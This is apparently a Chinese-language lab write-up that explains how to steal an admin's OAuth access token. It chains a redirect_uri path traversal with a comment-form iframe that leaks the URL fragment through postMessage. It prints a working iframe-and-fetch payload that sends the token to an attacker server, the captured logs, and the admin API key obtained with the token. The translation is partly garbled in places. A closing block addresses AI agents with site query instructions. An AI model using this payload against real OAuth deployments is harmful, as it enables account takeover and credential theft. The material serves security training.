> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# 通过代理页面窃取 OAuth 访问令牌

### 通过代理页面窃取 OAuth 访问令牌

**实验目标**

本实验实现了一个 OAuth 服务，允许通过社交网络进行身份验证。/ OAuth 在服务端验证不足，使我们能够 **将访问令牌定向到客户端应用程序中的任意页面**.

目标是：

* identify **一个次要漏洞** 在客户端应用程序中，
* 用作 **代理页面** 以窃取管理员的 OAuth 访问令牌，
* 然后使用该令牌来恢复 \*\*l

" 管理员会打开从操作服务器发送的任何内容，并且已经拥有一个有效的 OAuth 会话。

<figure><img src="/files/1f5f5a9655c151327028efc7b5554ada57aef0fb" alt=""><figcaption></figcaption></figure>

\*\* 客户端应用程序分析\*\*

在博客文章下方观察到一个 \*\* 评论区\*\*。

加载评论表单时，会向以下地址发送一个 GET 请求：

```http
GET /post/comment/comment-form
```

<figure><img src="/files/0d102a26a680bce1d77911fb43b5eb268dcead64" alt=""><figcaption></figcaption></figure>

该表单被加载到一个 **iframe**中，这在帖子页面的源代码中可见：

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="/files/34771e279ea421e15db0b08d834476ebcfc57bae" alt=""><figcaption></figcaption></figure>

**有趣的 JavaScript 行为**

该表单包含一段泄露性的 JavaScript 脚本：

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="/files/2c6772486e6e1acfc72704deb424362af705a337" alt=""><figcaption></figcaption></figure>

关键点：

* 该脚本 \*\* 读取 URL 片段（`#`)\*\*.
* 它通过以下方式将其内容发送到父页面： `postMessage`.
* 这使得可以 *让一个 OAuth 令牌出现在片段中*\*.

因此评论表单可以被用作 **代理页面**.

**通过隐式流程利用 OAuth**

将 OAuth 重定向修改为指向评论表单：

```bash
/../post/comment/comment-form
```

已处理的 OAuth 查询示例：

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

身份验证后，OAuth 服务器重定向到：

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

该 **因此令牌会暴露在 URL 片段中** 然后通过以下方式传递给父页面： `postMessage`.

<figure><img src="/files/3e38e91a16d5cd9e0264a3e2d47513807eb527a9" alt=""><figcaption></figcaption></figure>

**发送给受害者的有效载荷**

从操作服务器，我们发送以下内容：

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

操作：

* 该 iframe 触发了隐式 OAuth 流程。
* 令牌被注入到 URL 片段中。
* 通过以下方式发送的评论表单 `postMessage`.
* 脚本捕获它并将其外传到操作服务器。

**令牌恢复**

在操作服务器日志中：

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="/files/b365bd1b231f74ac749dcb26eae3f3d8bdda7463" alt=""><figcaption></figcaption></figure>

解码 URL 后，令牌为：

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="/files/8ab98d6ed836107e5fc82009e9272ec0e1440477" alt=""><figcaption></figcaption></figure>

**使用窃取的令牌访问 API**

该令牌用于调用 OAuth 提供方 `/me` 端点

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

答案

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="/files/4517332cb6e4002a2657f75ce229ce94c90b9a2f" alt=""><figcaption></figcaption></figure>

**结果**

* 管理员的 OAuth 令牌已被窃取。
* API 密钥管理员已被恢复。
* 实验已成功验证。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
